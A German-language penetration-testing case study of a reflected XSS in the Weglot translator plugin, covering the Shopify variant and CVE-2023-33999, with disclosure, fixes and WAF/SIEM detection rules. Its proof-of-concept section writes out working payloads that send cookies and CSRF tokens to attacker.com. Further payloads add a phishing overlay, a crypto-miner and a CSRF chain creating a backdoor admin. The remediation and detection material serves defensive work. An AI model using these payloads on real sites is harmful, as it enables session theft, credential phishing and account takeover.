Fallstudie: Reflected XSS im Weglot Translator Plugin

Executive Summary

Im Rahmen eines Penetration Tests identifizierten wir eine kritische Reflected Cross-Site Scripting (XSS) Schwachstelle im Weglot Translator Plugin – einer weit verbreiteten Lösung für mehrsprachige Websites. Die Besonderheit: Die Vulnerability war nur aktiv, wenn die Website in bestimmten Sprachen aufgerufen wurde, was die Entdeckung erheblich erschwerte.

Diese Case Study demonstriert, wie scheinbar harmlose Third-Party-Plugins unerwartete Sicherheitsrisiken einführen können – selbst wenn die Kernanwendung selbst sicher implementiert ist.

Die Entdeckung: Warum funktioniert das nur auf Französisch?

Der initiale Befund

Während eines routinemäßigen Penetration Tests einer Shopify-basierten E-Commerce-Platform testeten wir standardmäßig die Suchfunktionalität auf Cross-Site Scripting Schwachstellen. Das interessante Verhalten:

• ✅ Deutsch (Standardsprache): Alle XSS-Payloads wurden korrekt HTML-encoded – keine Schwachstelle
• ❌ Französisch (via Weglot): XSS-Payload wurde ausgeführt – kritische Schwachstelle
• ❌ Spanisch (via Weglot): XSS-Payload wurde ausgeführt – kritische Schwachstelle

Diese sprachabhängige Verhaltensänderung war der erste Hinweis darauf, dass nicht die Shopify-Kernanwendung, sondern das Weglot Translation Plugin die Schwachstelle verursachte.

Warum automatisierte Scanner versagten

Kein kommerzieller Web-Vulnerability-Scanner (weder Burp Suite Pro, noch Acunetix, noch OWASP ZAP) detektierte diese Schwachstelle automatisch. Die Gründe:

1. Dynamische API-Interaktion: Die Translation erfolgte über asynchrone API-Calls, die Scanner nicht nachvollzogen
2. Context-abhängiges Verhalten: Die Vulnerability trat nur bei aktiviertem Translation-Kontext auf
3. Unicode-Encoding-Mutation: Die HTML-Entities wurden durch die Translation-API in Unicode zurückverwandelt
4. Fehlende Sprach-Fuzzing-Profile: Standard-Scanner testen nicht systematisch verschiedene Sprachversionen

Technische Analyse: Der Exploit-Mechanismus

Der normale (sichere) Ablauf ohne Weglot

Shopify implementiert standardmäßig eine sichere Suchfunktion mit korrektem HTML-Escaping:

https://example-shop.com/search?q=<script>alert('XSS')</script>

// Input wird HTML-encoded
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// Resultat: <script>alert('XSS')</script>

<div class="search-results">
    Suchergebnisse für: &lt;script&gt;alert('XSS')&lt;/script&gt;
</div>
// Output wird als Text gerendert, nicht als ausführbarer Code

✅ Resultat: Sicheres Verhalten – kein XSS möglich.

Der anfällige Ablauf mit aktiviertem Weglot

Sobald Weglot aktiv ist, ändert sich die Verarbeitungskette fundamental:

https://example-shop.com/fr/search?q=<script>alert('XSS')</script>

// Shopify encoded korrekt
$query = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// Resultat: <script>alert('XSS')</script>

// Weglot übernimmt den HTML-encoded String zur Translation
POST https://api.weglot.com/translate
{
  "text": "<script>alert('XSS')</script>",
  "source_lang": "de",
  "target_lang": "fr"
}

{
  "translated": "<script>alert('XSS')</script>"
}
// ⚠️ KRITISCH: HTML-Entities wurden in Unicode zurück-decoded!

<div class="search-results">
    Résultats de recherche pour: <script>alert('XSS')</script>
</div>
// ❌ JavaScript wird ausgeführt!

❌ Resultat: Kritische XSS-Schwachstelle durch unbeabsichtigte Decode-Operation in der Translation-API.

Die Weglot hreflang-Implementierung (CVE-2023-33999)

Parallel zu dieser Shopify-Variante existierte eine ähnliche Schwachstelle in der WordPress-Version des Plugins, die bei der Generierung von hreflang-Tags auftrat:

// Custom_Url_Service_Weglot::get_link_button_with_key_code
function generate_hreflang_tags($url) {
    $languages = $this->get_enabled_languages();

    foreach ($languages as $lang) {
        // ⚠️ Kein Escaping der URL!
        echo '<link rel="alternate" href="' . $url . '" hreflang="' . $lang . '" />';
    }
}

https://example.com/?s="><script>alert(document.cookie)</script>

<link rel="alternate" href="https://example.com/?s="><script>alert(document.cookie)</script>" hreflang="en" />

// Das "> schließt das href-Attribut vorzeitig
// Der <script>-Tag wird außerhalb des link-Tags interpretiert

Root Cause: Unzureichendes Input Sanitization

Die Grundursache in beiden Varianten war identisch:

• Fehlende Output-Sanitization: URLs und übersetzter Content wurden ohne Escaping in HTML-Kontext eingebettet
• Unicode-Normalization: Die Translation-API konvertierte HTML-Entities zurück in Originalzeichen
• Vertrauensannahme: Das Plugin nahm an, dass Input bereits sicher ist – eine gefährliche Annahme bei Third-Party-Software

Exploitation & Impact-Analyse

Proof of Concept (PoC)

https://victim-site.com/fr/search?q=<script>alert('XSS by e2security')</script>

https://victim-site.com/fr/search?q=<script>
fetch('https://attacker.com/steal?c=' + document.cookie)
</script>

https://victim-site.com/fr/search?q=<script>
var token = document.querySelector('[name=csrf-token]').content;
fetch('https://attacker.com/hijack', {
    method: 'POST',
    body: JSON.stringify({
        session: document.cookie,
        csrf: token,
        url: location.href
    })
});
</script>

https://victim-site.com/fr/search?q=<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="email" placeholder="Email"><input name="password" type="password" placeholder="Password"><button>Login</button></form></div>';
</script>

Impact-Bewertung nach CVSS 3.1

Resultierende CVSS-Score: 7.1 (High)

Real-World Attack-Szenarien

Szenario 1: Credential Phishing

Angreifer versendet eine E-Mail-Kampagne mit manipulierten Links:

Szenario 2: Crypto-Jacking

<script src="https://attacker.com/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('attacker-site-key');
miner.start();
</script>

Szenario 3: Cross-Site Request Forgery (CSRF) Chain

<script>
// Admin-User wird erkannt via Cookie-Analyse
if(document.cookie.includes('admin=true')) {
    // CSRF: Neuen Admin-User anlegen
    fetch('/admin/users/create', {
        method: 'POST',
        body: JSON.stringify({
            username: 'backdoor',
            password: 'attacker123',
            role: 'admin'
        })
    });
}
</script>

Remediation & Fix-Strategie

Vendor Response: Weglot

Nach Responsible Disclosure an Weglot erfolgte eine vorbildliche Zusammenarbeit:

• ✅ Acknowledgement: Innerhalb von 24 Stunden
• ✅ Fix Development: Innerhalb von 5 Werktagen
• ✅ Deployment: Backend-Fix ohne Client-Update notwendig (Shopify), WordPress-Plugin 1.9.3 released
• ✅ CVE Assignment: CVE-2023-33999 wurde vergeben
• ✅ Communication: Professioneller, technischer Austausch auf Augenhöhe

Technische Fix-Implementierung

// VORHER (vulnerable):
function generate_hreflang_tags($url) {
    echo '<link rel="alternate" href="' . $url . '" hreflang="' . $lang . '" />';
}

// NACHHER (secure):
function generate_hreflang_tags($url) {
    $safe_url = esc_url($url);  // WordPress URL-Escaping
    $safe_lang = esc_html($lang);  // HTML-Entity-Encoding
    echo '<link rel="alternate" href="' . $safe_url . '" hreflang="' . $safe_lang . '" />';
}

// Shopify/API-Variante: Unicode-Normalization deaktiviert
function translate_content($text, $source_lang, $target_lang) {
    $translated = $this->api_translate($text, $source_lang, $target_lang);

    // NEU: Preserve HTML-Entities
    $translated = htmlspecialchars($translated, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);

    return $translated;
}

Generelle Mitigation-Strategien für betroffene Websites

Kurzfristige Maßnahmen (bis Update verfügbar):

1. Content Security Policy (CSP):

   Content-Security-Policy:
       default-src 'self';
       script-src 'self' 'nonce-{random}';
       object-src 'none';

   → Verhindert Ausführung von Inline-Scripts

2. Web Application Firewall (WAF) Regeln:

   # ModSecurity Rule
   SecRule ARGS "@rx <script" \
       "id:1000,phase:2,deny,status:403,msg:'XSS Attempt Detected'"

3. Input Validation auf Reverse Proxy:

   # Nginx Block
   location /search {
       if ($args ~* "(<|%3C|script|javascript|onerror)") {
           return 403;
       }
   }

Langfristige Maßnahmen:

• ✅ Regelmäßige Security Updates aller Plugins/Dependencies
• ✅ Implementierung einer Vulnerability Management-Strategie
• ✅ Quartalsweise Penetration Tests mit Fokus auf Plugin-Interaktionen
• ✅ Security Code Reviews bei Integration neuer Third-Party-Software
• ✅ Monitoring & Logging: Erkennung von XSS-Exploitation-Versuchen

Lessons Learned: Best Practices für Plugin-Security

1. Never Trust Third-Party Software

2. Defense in Depth ist essentiell

3. Sprach-/Kontext-spezifisches Testing

4. Output Encoding muss konsistent sein

1. Shopify encoded: <script> → sicher
2. Weglot decoded: <script> → unsicher ❌

// Encoding muss am Ende der Verarbeitungskette stehen
function render_output($content) {
    $translated = translate($content);
    return htmlspecialchars($translated, ENT_QUOTES, 'UTF-8');  // ✅
}

5. Responsible Disclosure funktioniert

Detection & Monitoring: Wie Sie XSS-Exploitation erkennen

Log-based Detection

# Apache/Nginx Access Log Beispiele
192.168.1.100 - - [24/Nov/2025:14:23:45] "GET /fr/search?q=<script>alert(1)</script> HTTP/1.1" 200
192.168.1.101 - - [24/Nov/2025:14:24:12] "GET /search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1" 200

# SIEM Detection Rule (Splunk SPL)
index=web_logs
| regex _raw="(<script|%3Cscript|javascript:|onerror=|onload=)"
| stats count by src_ip, uri
| where count > 3

Web Application Firewall (WAF) Signatures

# XSS Detection Rules
SecRule ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* \
    "@rx (?i)<script[^>]*>[\s\S]*?<\/script[^>]*>" \
    "id:941100,phase:2,block,t:none,t:urlDecodeUni,msg:'XSS Attack Detected',severity:'CRITICAL'"

# Weglot-specific Rule
SecRule REQUEST_URI "@rx /(?:fr|es|it|de)/" \
    "chain,id:1000001,phase:2,block,msg:'Potential Weglot XSS'"
    SecRule ARGS "@rx (<script|javascript:|onerror)" \
        "t:urlDecodeUni,t:htmlEntityDecode"

Content Security Policy (CSP) Violation Reports

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-{random}';
    report-uri https://your-domain.com/csp-report;

# CSP Violation Report (JSON)
{
  "csp-report": {
    "document-uri": "https://example.com/fr/search",
    "violated-directive": "script-src 'self' 'nonce-abc123'",
    "blocked-uri": "inline",
    "source-file": "https://example.com/fr/search?q=...",
    "line-number": 1,
    "column-number": 1
  }
}

Runtime Application Self-Protection (RASP)

Moderne RASP-Lösungen (z.B. Contrast Security, Sqreen) können XSS-Exploitation zur Laufzeit erkennen und blockieren:

• ✅ Erkennung von DOM-Manipulation durch nicht-vertrauenswürdigen Code
• ✅ Blocking von Script-Execution aus User-Input-Kontexten
• ✅ Real-time Alerting bei Exploitation-Versuchen

Fazit

Die Weglot XSS-Vulnerability ist ein Paradebeispiel dafür, wie moderne Webanwendungen durch die Integration von Third-Party-Software unerwartete Sicherheitsrisiken erben können. Selbst wenn die Kernanwendung (Shopify, WordPress) sicher implementiert ist, können Plugins fundamentale Security-Mechanismen unterlaufen.

Weglot reagierte vorbildlich auf die Disclosure – innerhalb weniger Tage wurde ein Fix entwickelt und deployed. Diese Case Study zeigt, dass Vulnerability Management funktioniert, wenn alle Parteien professionell und transparent zusammenarbeiten.

Weiterführende Artikel

• 📘 Cross-Site Scripting (XSS) – Umfassender Guide
• 🔬 Penetration Testing – Methodik und Best Practices
• 🛡️ Vulnerability Management – Lifecycle und Tools
• 🔧 HTTP Verb Tampering – Weitere Plugin-Schwachstelle
• 🏢 Security Consulting – Unsere Services

Quellen und Referenzen

• Patchstack Vulnerability Database – Weglot CVE-2023-33999
• WPScan – Weglot Security Vulnerabilities
• Gregorio Martinez – Weglot XSS Technical Analysis
• CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
• OWASP – Cross-Site Scripting (XSS)